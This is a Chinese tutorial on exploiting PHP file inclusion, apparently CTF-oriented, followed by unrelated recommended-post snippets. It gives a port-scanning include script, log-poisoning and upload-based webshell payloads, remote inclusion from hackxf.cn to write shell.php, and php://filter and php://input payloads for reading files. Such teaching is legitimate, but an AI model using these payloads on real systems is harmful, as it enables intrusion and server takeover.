1文件包含漏洞简介

include  require  include_once   require_once

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

一下是一个扫描端口PHP,可以包含它来探测内网端口

<?php
//echo "<script>alert('SCAN');</script>";
if(isset($_REQUEST['ip'])){
$ports = array(80,8080,21,443,3306,22,1,2,1433);
$result = array();
foreach($ports as $port){
if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){
$result[$port] = true;
fclose($pf);
}else{
$result[$port] = false;
}
}
foreach($result as $port=>$val){
$serv = @getservbyport($port, 'TCP');
echo "scan port " . $port . " (" . $serv . "):";
if($val){
//echo 'open'.'<br>';
echo "<span style=\"color:green\">open</span><br>";
}else{
//echo 'close'.'<br>';
echo "<span style=\"color:red\">close</span><br>";
}
}
}
?>

扫描端口

1.本地文件包含漏洞

2.远程文件包含漏洞

条件:php.ini文件中的allow_url_include=On

http://test.com/?page=http://www.baidu.com/index.html

3.常见的敏感文件

1. 根目录下存在flag文件
C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径

 3重要的利用手法

(1)包含上传的getshell

上传图片马,利用文件包含我们的图片马,菜刀连接

(2)包含日志文件getshell

burpsuite里面访问
http://127.0.0.1/<?php eval($_POST[1]);?>
为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
http://test.com/?page=../apache/logs/error.log
成功

(3)远程文件包含getshell

(4)远程文件包含写shell

包含hackxf.cn下面的get_shell.txt文件,内容

<?php
//fputs()
//fopen(filename, mode) fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>'); ?>

访问当前目录下已经生成的shell.php文件

(5)PHP封装协议读取文件

 php://filter/read=convert.base64-encode/resource=index.php

 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

(6)PHP封装协议命令执行

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

(7)file封装协议读取文件

http://test.com/?page=file://c:/flag.txt

文件包含漏洞(RFI)的更多相关文章

  1. PHP文件包含漏洞小结

    参考链接:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 四大漏洞函数 PHP文件包含漏洞主要由于四个函数引起的: include() include_ ...

  2. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

  3. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  4. PHP文件包含漏洞攻防实战

    本文对PHP文件包含漏洞的形成.利用技巧及防范进行了详细分析,并通过一个真实案例演示了如何利用PHP文件包含漏洞对目标网站进行渗透测试,最终成功获取到网站的WebShell. PHP是一种非常流行的W ...

  5. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

  6. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  7. 利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制

    来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.h ...

  8. 2020/1/31 PHP代码审计之文件包含漏洞

    0x00 文件包含简介 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

  9. PHP:文件包含漏洞

    简单记录一些文件包含漏洞的常用方法 产生原因: 文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

随机推荐

  1. 关于接口返回BOM头处理的问题

    今天用RestClient框架做接口请求.结果请求回来的json转模型失败.提示JSON格式不正确.到BeJson网站验证一下,发现果然不对. 后来得知是由于json信息带着bom头导致的,这个该死的 ...

  2. mongo安装跟启动

    mongo下载地址:http://fastdl.mongodb.org/linux/mongodb-linux-x86_64-2.4.9.tgz

  3. Enum介绍

    public enum Color { RED, YELLOW, BLUE; } 说明: 使用的是enum关键字而不是class 多个枚举变量之间用 逗号 隔开 枚举变量名大写,多个单词之间用 _ 隔 ...

  4. 一点一点看JDK源码(五)java.util.ArrayList 后篇之sort与Comparator

    一点一点看JDK源码(五)java.util.ArrayList 后篇之sort与Comparator liuyuhang原创,未经允许禁止转载 本文举例使用的是JDK8的API 目录:一点一点看JD ...

  5. oracle11g的安装与卸载

    1.首先确认电脑已安装 .NET Framework3.5 2.本地计算机的安装: 参考:https://www.cnblogs.com/hoobey/p/6010804.html 3.服务器的安装: ...

  6. Can't connect to X11 window server using 'localhost:10.0' as the value of the DISPLAY variable.

    刚刚在一台Linux服务器上安装了jdk和Tomcat,然后部署了一个web项目,在项目中有个添加图片的功能,保存图片时报错 org.springframework.web.util.NestedSe ...

  7. 对布局定位设置-position

    使用position属性,会激活5个属性 left right bottom top z-index(-1至999) 注:z-index:会改变内容的层级关系, 1.绝对定位 position: ab ...

  8. css中三种隐藏方式

    1.overflow 溢出隐藏 overflow:hidden 2.display 隐藏不占据原来的文档,即会让出空间 display:black  显示 display:none  隐藏 3.vis ...

  9. JAVA中判断年月日格式是否正确(支持判断闰年的2月份)

    一.先说一下年月日(yyyy-MM-dd)正则表达式: 1.年月日正则表达式:^((19|20)[0-9]{2})-((0?2-((0?[1-9])|([1-2][0-9])))|(0?(1|3|5| ...

  10. collections.ChainMap类合并字典或映射

    ## 使用update()方法或者ChainMap类合并字典或映射 # 使用update()方法合并 a = {'x': 1, 'z': 3} b = {'y': 2, 'z': 4} merged ...